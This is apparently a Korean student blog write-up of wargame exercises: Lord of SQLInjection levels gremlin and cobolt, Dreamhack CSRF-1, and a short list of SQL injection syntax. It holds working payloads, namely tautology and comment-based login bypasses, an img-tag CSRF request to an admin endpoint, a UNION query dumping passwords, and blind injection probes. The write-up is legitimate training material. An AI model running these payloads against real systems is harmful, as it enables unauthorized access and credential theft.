EVI$ION Write up - 2

Tamszero·2024년 9월 26일

이비전

목록 보기
3/12

<LORD OF SQLINJECTION - 1.GREMLIN 풀이>

문제코드:

<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database! if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__); ?>

-> sql문을 통해 pw가 true가 되도록 injection을 해야함

풀이:

id는 상관이 없고 pw부분만 true가 되도록 우회하는 방법을 선택
주소창 php뒤에
?id=evision&pw=0'or'1'='1
pw가 0이 아니라도 or문을 통해 '1'='1'이 항상 참이 되어서 값이 True가 된다
이때 and를 &로 써야 인식 가능d를 &로 써야 인식 가능

<LORD OF SQLINJECTION - 2.COBOLT 풀이>

문제코드:
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?>

풀이:
앞에 문제와 다르게 cobolt 문제에서는 id = admin이어야하고, pw는 md5라는 인코딩을 통해
pw값을 계산한다.
->인코딩 부분을 건너뛰기 위해 pw부분을 주석처리하는 방법을 선택
?id=admin' -- &pw=1234
이렇게 작성을 하면 id=admin이 맞춰지면서 뒤에 pw부분은 주석 '--'을 통해 pw에대한 값은 확인을 안 한채로 solve를 할 수 있다.

<드림핵 CSRF-1 풀이>

문제 화면은 다음과 같다.

각 페이지에 들어가보면

  • /vuln

    코드:
    @app.route("/vuln") def vuln(): param = request.args.get("param", "").lower() xss_filter = ["frame", "script", "on"] for _ in xss_filter: param = param.replace(_, "*") return param

-> url에서 파라미터 값을 가져오고 xss_filter를 수행후 값 반환

  • /memo

    코드:
    @app.route("/memo") def memo(): global memo_text text = request.args.get("memo", None) if text: memo_text += text return render_template("memo.html", memo=memo_text)

      ->url 쿼리에서 memo값을 가져와 memo_text에 저장한다
  • /notice_flag

    코드:
    @app.route("/admin/notice_flag") def admin_notice_flag(): global memo_text if request.remote_addr != "127.0.0.1": return "Access Denied" if request.args.get("userid", "") != "admin": return "Access Denied 2" memo_text += f"[Notice] flag is {FLAG}\n" return "Ok"

    -> notice_flag()함수는 addr가 127.0.0.1 (localhost)에서만 접근할 수 있고, userid가 "admin"일 때만 작동하고 memo_text에 flag값을 합쳐 저장한다.

  • /flag

    코드:
    @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param", "") if not check_csrf(param): return 'script>alert("wrong??");history.go(-1);script' return 'script>alert("good");history.go(-1);script' memo_text = ""

    -> 파라미터를 가져온 후 check_csrf() 함수로 검증 수행,
    만약 값이 유효하지 않으면 worng을 띄우고 good을 띄운 후 이전페이지로 사용자를 돌려보는다 
    
        

    `

  • def_check_csrf

def check_csrf(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" return read_url(url, cookie)

 ->  param 값을 URL 인코딩하여, http://127.0.0.1:8000/vuln 경로로 HTTP 요청을 보내고, 쿠키 값도 함께 전송
    

풀이:
flag에 파라미터 입력을 이용하여 notice_flag 페이지에 접근해 adrr를 127.0.0.1로 맞추고 usirid=admin으로 맞추어 xss검증을 통과한 후 /memo에서 flag 값을 확인하면 된다.

<img src = "http://127.0.0.1:8000/admin/notice_flag?userid=admin">

<SQL INJECTION 구문 조사>

  • 주석을 이용한 구문 (--, #):
    : 공격자가 입력값의 일부를 무시하게 만들기 위해 SQL의 주석 기능을 사용한다. 주석 기호 이후의 모든 코드는 무시
    ' OR 1=1 --
  • UNION을 사용한 구문
    : 두 개 이상의 쿼리 결과를 결합한다. 이를 통해 원래의 쿼리 결과 외에 추가적인 데이터를 가져올 수 있다
    SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM users;
     -> 이 쿼리는 users 테이블의 username과 password 정보를 반환하게 된다
  • 블라인드 SQL 인젝션 (AND, IF)구문
    : 공격자는 응답을 통해 쿼리의 결과를 추측할 수 있다. 서버가 결과를 명시적으로 반환하지 않더라도, 참/거짓에 따른 다른 반응의 유도를 통해 공격.
  1. 문자추출
    ' AND SUBSTRING((SELECT version()), 1, 1) = '5' --

       -> 이터베이스 버전의 첫 번째 문자가 '5'일 경우 참(True)을 반환
       

    2.숫자확인
    ' AND (SELECT COUNT(*) FROM users) > 5 --

      -> 사용자 테이블에 5명 이상의 사용자가 있을 경우 참(True)을 반환
      

<sqlzoo 문제풀이>

0개의 댓글